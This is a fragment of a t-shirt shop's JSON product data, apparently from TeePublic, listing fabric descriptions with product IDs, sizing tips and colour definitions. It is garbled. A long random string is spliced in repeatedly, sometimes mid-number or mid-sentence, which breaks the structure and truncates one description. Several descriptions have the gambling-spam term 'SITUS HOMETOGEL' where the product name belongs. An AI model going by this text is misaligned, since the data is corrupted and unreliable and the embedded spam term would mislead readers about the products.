4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo3214, 3472, 2598, 2315, 2176, 415, 861, 3098, 870, 3473, 3484, 3485, 396, 2319, 406, 2482, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 2252, 3483, 1329, 2311, 2203, 2194, 981, 2330, 1718, 402, 2615, 2464, 535, 3217, 883, 2443, 2507, 3220, 323, 395, 2640, 340, 1335, 2186, 2158, 2600, 2117, 2309, 3227, 2155, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo2450, 2589, 2157, 370, 347, 2088, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 3197, 1688, 1679, 2119, 2204, 3224, 2325, 2266, 3181, 2127, 384, 2400, 11, 2250, 324, 3317, 3139, 3128, 3150, 1695, 2150, 2337, 2190, 1717, 3204, 2136, 2553, 2327, 2536, 2328, 2329, 1729, 1714, 1716, 2179, 1727, 2614, 3206, 2483, 354, 2316, 2537, 3189, 542, 417, 2617, 2468, 2644, 2539, 2477, 2317, 2178, 2506, 404, 371, 2452, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 2263, 439, 2197, 2199, 3225, 2363, 2312, 381, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 3175, 3174, 9, 3180, 429, 431, 2354, 2375, 896, 898, 3137, 2441, 1671, 2444, 2448, 3182, 2591, 3130, 3153, 2152, 2447, 1678, 1681, 1697, 1699, 1691, 1701, 346, 2505, 2472, 1815, 2470, 2484, 1818, 1724, 2473, 3195, 3186, 2547, 2476, 2616, 3148, 531, 1735, 2474, 432, 857, 353, 533, 2479, 3140, 2579, 859, 1814, 2572, 14, 534, 2599, 536, 537, 2596, 2605, 2604, 865, 867, 2603, 3179, 2610, 2620, 2609, 3149, 351, 3212, 3216, 846, 3187, 1737, 13, 3226, 3136, 1359, 1328, 359, 1352, 1349, 1351, 16, 3230, 3198, 982, 397, 393, 2307, 1707, 2379, 541, 2087, 2207, 12, 17, 3231, 1673, 3190, 3188, 3168, 2298, 2300, 375, 3223, 2079, 2095, 2077, 3176, 3147, 2597, 1712, 2313, 2134, 1713, 2486, 2200, 2097, 2143, 2101, 1694, 1683, 1674, 3138, 1676, 847, 960, 2102, 2104, 1733, 1734, 2335, 2622, 2336, 2126, 2355, 1732, 2267, 2185, 3170, 330, 5, 2156, 2217, 2275, 2188, 860, 2608, 2270, 2265, 2552, 2189, 3228, 6, 2209, 2282, 434, 442, 3158, 864, 3144, 2278, 2449, 2221, 3191, 3192, 2283, 3229, 3159, 2601, 2602, 1336, 3194, 856, 2318, 3089, 2460, 2174, 3157, 2461, 2462, 2463, 862, 2177, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo2466, 2467, 2469, 2183, 977, 2220, 318, 3164, 3199, 3200, 2380, 2403, 3202, 1346, 1347, 3207, 3221, 317, 3208, 3219, 3165, 2351, 984, 2352, 2408, 2424, 2481, 438, 983, 2195, 2196, 2365, 3201, 440, 2198, 2485, 3218, 3166, 2590, 2304, 1705, 2412, 2357, 2376, 3092, 388, 394, 2361, 2353, 2429, 2594, 2575, 2308, 345, 2381, 3318, 2382, 2386, 2414, 399, 2322, 2369, 2404, 2613, 1666, 3135, 19, 3129, 3142, 3131, 2, 321, 363, 2606, 3145, 1693, 2502, 2559, 401, 3172, 3167, 2587, 2577, 2578, 2410, 2436, 398, 2432, 2406, 2416, 430, 392, 2641, 2585, 2420, 2545, 422, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo2544, 2580, 2557, 852, 853, 2534, 888, 889, 890, 876, 2639, 877, 874, 880, 871, 872, 873, 897, 893, 899, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 868, 3095, 1345, 1332, 1360, 1355, 1350, 1685, 2541, 2560, 2565, 2567, 886, 869, 1327, 1698, 1692, 900, 851, 882, 1687, 1677, 1708, 1668, 2584, 2573, 1719, 849, 879, 1684, 1686, 1682, 884, 1670, 891, 1731, 1730, 2619, 387, 1696, 2621, 2148, 2261, 2286, 1703, 1706, 2288, 2135, 2268, 2144, 2112, 2093, 2116, 2115, 2123, 2128, 2290, 2124, 2153, 2208, 2145, 2297, 2299, 2289, 2292, 2295, 2215, 2301, 2302, 2279, 2274, 2434, 2285, 2291, 2218, 2287, 2366, 2294, 2284, 2262, 2273, 1715, 1689, 1675, 1667, 2356, 2269, 1669, 2439, 2254, 2255, 1672, 1690, 2384, 2259, 2258, 1736, 1721, 1816, 1817, 1809, 1810, 1812, 1725, 2358, 2359, 2418, 1728, 2378, 2561, 1813, 2583, 2409, 2390, 2564, 2612, 2433, 2422, 2391, 2405, 2646, 2638, 2546, 2402, 2398, 2413, 2430, 2431, 2399, 2401, 2407, 2435, 2504, 2446, 2423, 2492, 2494, 2503, 2495, 2542, 2618, 2554, 2555, 2556, 2271, 2321, 2320, 2326, 2571, 2092, 2090, 2543, 2103, 2566, 2132, 2202, 2131, 2089, 2098, 2214, 2161, 2113, 2137, 2149, 2389, 2216, 2096, 2099, 2276, 2081, 2100, 2094, 2118, 2084, 2080, 2086, 2160, 2091, 2211, 2210, 2130, 2120, 2147, 2162, 2488, 2281, 2548, 2562, 2373, 2364, 2367, 2332, 2362, 2293, 2372, 2257, 2280, 2383, 2377, 2491, 2374, 2277, 2496, 2260, 2370, 2385, 2648, 2314, 2411, 2643, 2645, 2642, 2563, 2568, 2574, 2219, 1702, 2296, 2303, 2114, 2082, 2129]],
           ["100% combed cotton. A feminine cut featuring a v-neck in extended sizes that are all designed to wear, wash and age well.", [2667, 2660, 2662, 2663, 2664, 2673, 2655, 2656, 2657, 2674, 2659, 2661, 2668, 2669, 2671, 2672, 2658, 2665, 2666, 2670]],
           ["Moisture management/antimicrobial performance fabric, 100% Polyester", [3291, 3271, 3296, 3280, 3295, 3278, 3287, 3315, 3294, 3293, 3313, 3268, 3273, 3272, 3269, 3292, 3279, 3285, 3281, 3267, 3283, 3286, 3289, 3290, 3297, 3270, 3301, 3312, 3298, 3314, 3274, 3277, 3288, 3311, 3299, 3276, 3275, 3284, 3302, 3282, 3300, 3316]],
           ["100% combed ringspun cotton (Heather is a cotton/poly blend) with a heavier weight than the Classic SITUS HOMETOGEL for a timeless fit. The perfect fabric for a graphic tee in a standard cut up to 5XL - and still the softest in the business.", [2878, 2870, 2845, 2869, 2858, 2879, 2856, 2863, 2872, 2860, 2865, 2874, 2868, 2885, 2887, 2883, 2877, 2847, 2866, 2881, 2864, 2875, 2876, 2855, 2859, 2850, 2880, 2890, 2886, 2891, 2889, 2857, 2841, 2849, 2853, 2873, 2871, 2836, 2867, 2851, 2852, 2854, 2861, 2862, 2842, 2882, 2884, 2840, 2843, 2846, 2844, 2839, 2888, 2837, 2838, 2848]],
           ["100% Cotton. Lightweight with the perfect cut. Fabric drapes loosely across body for a comfortable, relaxed fit. Due to availability, some colors may be a poly-viscose blend.", [1761, 1762, 1778, 1779, 1772, 1773, 1782, 1758, 1763, 1764, 1766, 1759, 1760, 1774, 1768, 1770, 1771, 1775, 1776, 1777, 1781, 1780, 1765, 1767, 1769]],
           ["Polyester/cotton/rayon blend. A lighter, super soft tee with stretch.", [1820, 1008, 1049, 1019, 836, 1010, 1027, 1018, 837, 844, 806, 823, 1046, 1001, 830, 831, 993, 998, 1015, 1037, 988, 808, 1003, 994, 809, 1011, 989, 990, 1006, 1005, 995, 997, 999, 1007, 1009, 1016, 1017, 1020, 815, 1038, 817, 1031, 1024, 1025, 1028, 1034, 812, 810, 811, 816, 820, 821, 828, 814, 818, 813, 841, 839, 843, 842, 1021, 1022, 834, 835, 838, 840, 845, 1026, 833, 1048, 1030, 1032, 1033, 1040, 1041, 1042, 1035, 1029, 1023, 1036, 1039, 1045, 1047, 807, 1002, 1004, 1012, 1013, 1014, 822, 1000, 829, 832, 824, 825, 827, 826, 1043, 1044, 819, 992, 996, 985, 986, 987, 991]],
           ["100% combed cotton. The perfect fabric for a graphic tee and the softest in the business.", [3358, 3344, 3351, 3364, 3355, 3338, 3367, 3352, 3365, 3342, 3345, 3349, 3369, 3348, 3361, 3343, 3363, 3368, 3370, 3346, 3347, 3353, 3371, 3340, 3341, 3362, 3337, 3359, 3350, 3356, 3339, 3336, 3354, 3366, 3360, 3357]],
           ["100% combed ringspun cotton. A perfectly comfortable combination of classic cut and vintage style.", [2784, 2779, 2789, 2774]],
           ["100% combed cotton. A feminine cut in extended sizes that are all designed to wear, wash and age well.", [1924, 1925, 1937, 1932, 1933, 1928, 1931, 1935, 1934, 1939, 1941, 1926, 1927, 1929, 1930, 1936, 1922, 1923, 1938, 1940]],
           ["60% Cotton / 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJoand age well.\r\n", [1943, 1945, 1942, 1944, 2676, 2677, 2678, 2675]],
           ["Cotton/Poly blend. Heathered versions of our classic tee colors -- the softest shirts in the business and the perfect weight for a graphic tee.", [916, 2340, 2239, 2228, 2141, 2349, 2519, 2527, 2227, 2508, 2347, 2230, 923, 902, 925, 2427, 2627, 2525, 2139, 913, 2426, 2142, 2229, 2234, 2428, 2509, 2344, 2345, 1750, 2517, 2532, 901, 1751, 2632, 2633, 912, 2343, 2231, 2510, 2629, 2514, 2516, 2233, 2235, 926, 929, 930, 2242, 903, 905, 921, 2243, 2342, 2246, 904, 906, 917, 918, 911, 908, 909, 2526, 2350, 2520, 2528, 2530, 2531, 2631, 2513, 2521, 2523, 2515, 2512, 2628, 2518, 919, 920, 922, 924, 914, 915, 907, 910, 927, 928, 2533, 2625, 1746, 2626, 2240, 2238, 2630, 2222, 2237, 2241, 2244, 2524, 1753, 1748, 1752, 2339, 1747, 1749, 1756, 1757, 1754, 1755, 2511, 2529, 2247, 2232, 2140, 2223, 2224, 2245, 2236, 2522, 2225, 2226, 2348, 2425, 2346, 2341, 2634, 2636, 2635]],
           ["60% Organic Cotton, 40% Recycled Poly RPET - approximately 4 recycled RPET bottles are used per shirt. A heavier weight than the Classic SITUS HOMETOGEL, for enhanced comfort and durability. Your favorite SITUS HOMETOGEL, made better. ", [2954, 2959, 2986, 2981, 2988, 2976, 2956, 2977, 2975, 2978, 2958, 2991, 2992, 2960, 2982, 2989, 2993, 2967, 2971, 2973, 2974, 2980, 2952, 2969, 2984, 2987, 2970, 2972, 2955, 2962, 2957, 2985, 2968, 2953, 2983, 2965, 2979, 2961, 2963, 2990, 2964, 2966]],
           ["100% Combed Ring-Spun Cotton. A heavyweight, breathable fabric with a smooth, comfortable feel. Designed with a relaxed, boxy fit and mid-length hem for a modern, easygoing silhouette.", [3535, 3500, 3526, 3542, 3529, 3510, 3518, 3507, 3537, 3539, 3538, 3504, 3540, 3520, 3511, 3544, 3519, 3506, 3546, 3534, 3521, 3523, 3508, 3516, 3499, 3528, 3545, 3531, 3524, 3536, 3502, 3527, 3503, 3532, 3543, 3522, 3515, 3514, 3530, 3513, 3505, 3512]],
           ["90% Combed Ring-Spun Cotton, 10% Polyester. A heavyweight, breathable fabric with a smooth, comfortable feel. Designed with a relaxed, boxy fit and mid-length hem for a modern, easygoing silhouette.", [3541, 3517, 3533, 3509, 3525, 3501]],
           ["100% Combed Ring Spun Cotton. This heavyweight, breathable fabric offers a smooth, comfortable feel. Designed with a relaxed fit, and drop shoulder for an easy, laid-back look. ", [2074, 1848, 2068, 1838, 1837, 1836, 1825, 1849, 2072, 3024, 3027, 3035, 1831, 1842, 3032, 1830, 1827, 1845, 1841, 1846, 1832, 1833, 1835, 2075, 3029, 3031, 3018, 3019, 2069, 3028, 3033, 3022, 3030, 1840, 1844, 1847, 1828, 1839, 1834, 1843, 1829, 1826, 3023, 3040, 2076, 2070, 2071, 2073, 3041, 3036, 3025, 3026, 3021, 3037, 3038, 3020, 3034, 3039, 3042]],
           ["This tee is made from 100% heavyweight cotton and garment-dyed for a soft, broken-in feel. It features a relaxed fit, crew neckline, and a slightly cropped length. Each piece is one of a kind thanks to the dye process. Durable and easy to wear.", [3567, 3578, 3568, 3616, 3573, 3569, 3595, 3571, 3589, 3626, 3576, 3572, 3581, 3574, 3575, 3592, 3583, 3591, 3577, 3579, 3587, 3582, 3622, 3602, 3614, 3580, 3625, 3590, 3588, 3585, 3601, 3598, 3586, 3603, 3594, 3599, 3596, 3611, 3608, 3606, 3604, 3605, 3617, 3609, 3624, 3607, 3621, 3613, 3619, 3623, 3628, 3627, 3629, 3612, 3618, 3593, 3620, 3610, 3615, 3570, 3597, 3600, 3584]]
          ],
          "tooltips": [{
           "type": "tee_outline",
           "header": "TEE TIP!",
           "tip": "When in doubt, size up.",
           "product_ids": [2624, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo438, 439, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo2443, 2444, 2445, 2446, 2447, 2448, 2449, 2450, 2451, 2452, 2453, 2454, 2455, 2456, 2457, 2458, 2459, 2460, 2461, 2462, 2463, 2464, 2465, 2466, 2467, 2468, 2469, 2470, 2471, 2472, 2473, 2474, 2475, 2476, 2477, 2478, 2479, 2480, 2481, 2482, 2483, 2484, 2485, 2486, 2487, 2488, 2489, 2490, 2505, 2506, 2507, 2534, 2535, 2536, 2537, 2538, 2539, 2549, 2550, 2551, 2552, 2589, 2590, 2591, 2592, 2593, 2594, 2595, 2596, 2597, 2598, 2599, 2600, 2601, 2602, 2603, 2604, 2605, 2606, 2607, 2608, 2609, 2610, 2611, 2612, 2613, 2614, 2615, 2616, 2617, 2618, 2619, 2620, 2621, 2622, 2623, 386, 976, 977, 978, 979, 980, 981, 982, 983, 984, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1967, 2077, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2219, 2220, 2221, 2248, 2249, 2250, 2251, 2252, 2253, 2263, 2264, 2265, 2266, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338]
          }, {
           "type": "tee_outline",
           "header": "TEE TIP!",
           "tip": "Many customers prefer to order a size or two up for the Tri-Blend SITUS HOMETOGEL",
           "product_ids": [806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1820, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011]
          }, {
           "type": "tee_outline",
           "header": "TEE TIP!",
           "tip": "When in doubt, size up.",
           "product_ids": [882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881]
          }],
          "colors": {
           "40": {
            "id": 40,
            "name": "Vintage Grape",
            "display_name": "Vintage Grape",
            "hex": "#4a3b62",
            "sort_order": 590,
            "slug": "vintage_grape",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "59": {
            "id": 59,
            "name": "Indigo",
            "display_name": "Indigo",
            "hex": "#4c4f61",
            "sort_order": 520,
            "slug": "indigo",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "6": {
            "id": 6,
            "name": "Light Blue",
            "display_name": "Light Blue",
            "hex": "#c8e0ec",
            "sort_order": 360,
            "slug": "light_blue",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "12": {
            "id": 12,
            "name": "White",
            "display_name": "White",
            "hex": "#ffffff",
            "sort_order": 1,
            "slug": "white",
            "classes": "bordered",
            "image": null,
            "seasonal": false
           },
           "74": {
            "id": 74,
            "name": "Heather Sea Blue",
            "display_name": "Heather Sea Blue",
            "hex": "#95adb1",
            "sort_order": 585,
            "slug": "heather_sea_blue",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "19": {
            "id": 19,
            "name": "Charcoal Heather",
            "display_name": "Charcoal Heather",
            "hex": "#39383d",
            "sort_order": 450,
            "slug": "charcoal_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "71": {
            "id": 71,
            "name": "Turquoise Heather",
            "display_name": "Turquoise Heather",
            "hex": "#33a5cf",
            "sort_order": 489,
            "slug": "turquoise_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "107": {
            "id": 107,
            "name": "Marine Blue",
            "display_name": "Marine Blue",
            "hex": "#04507f",
            "sort_order": 315,
            "slug": "marine_blue",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "57": {
            "id": 57,
            "name": "Dark Grey Heather",
            "display_name": "Dark Grey Heather",
            "hex": "#686268",
            "sort_order": 430,
            "slug": "dark_grey_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "68": {
            "id": 68,
            "name": "Light Olive",
            "display_name": "Light Olive",
            "hex": "#878361",
            "sort_order": 272,
            "slug": "light_olive",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "42": {
            "id": 42,
            "name": "Red Heather",
            "display_name": "Red Heather",
            "hex": "#ec465a",
            "sort_order": 460,
            "slug": "red_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "8": {
            "id": 8,
            "name": "Red",
            "display_name": "Red",
            "hex": "#c62b29",
            "sort_order": 110,
            "slug": "red",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "72": {
            "id": 72,
            "name": "Hot Pink",
            "display_name": "Hot Pink",
            "hex": "#ef4a81",
            "sort_order": 132,
            "slug": "hot_pink",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "31": {
            "id": 31,
            "name": "Dark Grey",
            "display_name": "Dark Grey",
            "hex": "#6e6e6e",
            "sort_order": 30,
            "slug": "dark_grey",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "21": {
            "id": 21,
            "name": "Orange",
            "display_name": "Orange",
            "hex": "#dc4405",
            "sort_order": 160,
            "slug": "orange",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "65": {
            "id": 65,
            "name": "Vintage Royal",
            "display_name": "Vintage Royal",
            "hex": "#5157a7",
            "sort_order": 540,
            "slug": "vintage_royal",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "67": {
            "id": 67,
            "name": "Military Green",
            "display_name": "Military Green",
            "hex": "#5d5334",
            "sort_order": 222,
            "slug": "military_green",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "111": {
            "id": 111,
            "name": "Faded Red",
            "display_name": "Faded Red",
            "hex": "#dc6876",
            "sort_order": 133,
            "slug": "faded_red",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "113": {
            "id": 113,
            "name": "Latte",
            "display_name": "Latte",
            "hex": "#d9c2a3",
            "sort_order": 205,
            "slug": "latte",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "10": {
            "id": 10,
            "name": "Teal",
            "display_name": "Teal",
            "hex": "#0195c3",
            "sort_order": 330,
            "slug": "teal",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "36": {
            "id": 36,
            "name": "Sky Blue",
            "display_name": "Sky Blue",
            "hex": "#9ec4ff",
            "sort_order": 570,
            "slug": "sky_blue",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "9": {
            "id": 9,
            "name": "Royal Blue",
            "display_name": "Royal Blue",
            "hex": "#36538b",
            "sort_order": 310,
            "slug": "royal_blue",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "108": {
            "id": 108,
            "name": "Tie Dye",
            "display_name": "Tie Dye",
            "hex": "#fefefe",
            "sort_order": 660,
            "slug": "tie_dye",
            "classes": "tie_dye",
            "image": null,
            "seasonal": false
           },
           "70": {
            "id": 70,
            "name": "Purple Heather",
            "display_name": "Purple Heather",
            "hex": "#7b6189",
            "sort_order": 491,
            "slug": "purple_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "44": {
            "id": 44,
            "name": "Vintage Green",
            "display_name": "Vintage Green",
            "hex": "#76ba7f",
            "sort_order": 490,
            "slug": "vintage_green",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "18": {
            "id": 18,
            "name": "Dark Green",
            "display_name": "Dark Green",
            "hex": "#005030",
            "sort_order": 230,
            "slug": "dark_green",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "11": {
            "id": 11,
            "name": "Asphalt",
            "display_name": "Asphalt",
            "hex": "#484849",
            "sort_order": 40,
            "slug": "asphalt",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "22": {
            "id": 22,
            "name": "Soft Pink",
            "display_name": "Soft Pink",
            "hex": "#fac2cd",
            "sort_order": 130,
            "slug": "soft_pink",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "110": {
            "id": 110,
            "name": "Acid Black",
            "display_name": "Acid Black",
            "hex": "#463f46",
            "sort_order": 72,
            "slug": "acid_black",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "75": {
            "id": 75,
            "name": "Pine",
            "display_name": "Pine",
            "hex": "#47605a",
            "sort_order": 245,
            "slug": "pine",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "35": {
            "id": 35,
            "name": "Grass",
            "display_name": "Grass",
            "hex": "#5aad52",
            "sort_order": 250,
            "slug": "grass",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "45": {
            "id": 45,
            "name": "Royal Heather",
            "display_name": "Royal Heather",
            "hex": "#3973b9",
            "sort_order": 550,
            "slug": "royal_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "63": {
            "id": 63,
            "name": "Plum",
            "display_name": "Plum",
            "hex": "#3b2134",
            "sort_order": 370,
            "slug": "plum",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "1": {
            "id": 1,
            "name": "Black",
            "display_name": "Black",
            "hex": "#191919",
            "sort_order": 70,
            "slug": "black",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "60": {
            "id": 60,
            "name": "Leaf",
            "display_name": "Leaf",
            "hex": "#9cb58c",
            "sort_order": 270,
            "slug": "leaf",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "24": {
            "id": 24,
            "name": "Maroon",
            "display_name": "Maroon",
            "hex": "#6e2229",
            "sort_order": 90,
            "slug": "maroon",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "48": {
            "id": 48,
            "name": "Black/White",
            "display_name": "Black/White",
            "hex": "#191920",
            "sort_order": 600,
            "slug": "black_white",
            "classes": "bordered",
            "image": "https://assets.teepublic.com/assets/colors/svg/color_tile_black_white-54c1a2d052cb4b469d0955f9bcf8601ba81ce60482e3b57b3e33483c50877dd5.svg",
            "seasonal": false
           },
           "62": {
            "id": 62,
            "name": "Mint",
            "display_name": "Mint",
            "hex": "#d3ddd8",
            "sort_order": 280,
            "slug": "mint",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "51": {
            "id": 51,
            "name": "White/Navy",
            "display_name": "White/Navy",
            "hex": "#feffff",
            "sort_order": 650,
            "slug": "white_navy",
            "classes": "bordered",
            "image": "https://assets.teepublic.com/assets/colors/svg/color_tile_white_navy-69bf39351610a792c3f65a9c561c0a65f5c39c7e0120141d798b356680b13f2f.svg",
            "seasonal": false
           },
           "23": {
            "id": 23,
            "name": "Yellow",
            "display_name": "Yellow",
            "hex": "#ffb81c",
            "sort_order": 180,
            "slug": "yellow",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "4": {
            "id": 4,
            "name": "Heather",
            "display_name": "Heather",
            "hex": "#fffffe",
            "sort_order": 400,
            "slug": "heather",
            "classes": "heather bordered",
            "image": null,
            "seasonal": false
           },
           "112": {
            "id": 112,
            "name": "Ghost",
            "display_name": "Ghost",
            "hex": "#e8e4df",
            "sort_order": 12,
            "slug": "ghost",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "27": {
            "id": 27,
            "name": "Purple",
            "display_name": "Purple",
            "hex": "#5e366e",
            "sort_order": 380,
            "slug": "purple",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "46": {
            "id": 46,
            "name": "Vintage Black",
            "display_name": "Vintage Black",
            "hex": "#2d2b33",
            "sort_order": 440,
            "slug": "vintage_black",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "43": {
            "id": 43,
            "name": "Navy Heather",
            "display_name": "Navy Heather",
            "hex": "#3b4356",
            "sort_order": 510,
            "slug": "navy_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "3": {
            "id": 3,
            "name": "Creme",
            "display_name": "Creme",
            "hex": "#eae0c7",
            "sort_order": 200,
            "slug": "creme",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "26": {
            "id": 26,
            "name": "Oxford",
            "display_name": "Oxford",
            "hex": "#909091",
            "sort_order": 20,
            "slug": "oxford",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "38": {
            "id": 38,
            "name": "Vintage Heather",
            "display_name": "Vintage Heather",
            "hex": "#908d91",
            "sort_order": 420,
            "slug": "vintage_heather",
            "classes": "heather",
            "image": null,
            "seasonal": false
           },
           "20": {
            "id": 20,
            "name": "Coastal Blue",
            "display_name": "Coastal Blue",
            "hex": "#7da1c4",
            "sort_order": 340,
            "slug": "coastal_blue",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "14": {
            "id": 14,
            "name": "Deep Royal",
            "display_name": "Deep Royal",
            "hex": "#233a7e",
            "sort_order": 300,
            "slug": "deep_royal",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "33": {
            "id": 33,
            "name": "Midnight Navy",
            "display_name": "Midnight Navy",
            "hex": "#002a43",
            "sort_order": 500,
            "slug": "midnight_navy",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "53": {
            "id": 53,
            "name": "White/Red",
            "display_name": "White/Red",
            "hex": "#fefeff",
            "sort_order": 630,
            "slug": "white_red",
            "classes": "bordered",
            "image": "https://assets.teepublic.com/assets/colors/svg/color_tile_white_red-28de49cbdf6cc0bb2d21ef2ee2e5a7d84dfa4c75d3180b0c0761f6975cbaeb9b.svg",
            "seasonal": false
           },
           "2": {
            "id": 2,
            "name": "Brown",
            "display_name": "Brown",
            "hex": "#42332c",
            "sort_order": 140,
            "slug": "brown",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "54": {
            "id": 54,
            "name": "Vintage White",
            "display_name": "Vintage White",
            "hex": "#fefefd",
            "sort_order": 390,
            "slug": "vintage_white",
            "classes": "light_heather bordered",
            "image": null,
            "seasonal": false
           },
           "114": {
            "id": 114,
            "name": "Salmon",
            "display_name": "Salmon",
            "hex": "#e3c2bf",
            "sort_order": 131,
            "slug": "salmon",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "69": {
            "id": 69,
            "name": "Slate",
            "display_name": "Slate",
            "hex": "#768e9a",
            "sort_order": 332,
            "slug": "slate",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "5": {
            "id": 5,
            "name": "Kelly",
            "display_name": "Kelly",
            "hex": "#0f7b47",
            "sort_order": 240,
            "slug": "kelly",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "28": {
            "id": 28,
            "name": "Tennessee Orange",
            "display_name": "Tennessee Orange",
            "hex": "#ed8b00",
            "sort_order": 170,
            "slug": "tennessee_orange",
            "classes": "",
            "image": null,
            "seasonal": false
           },
           "109": {
            "id": 109,
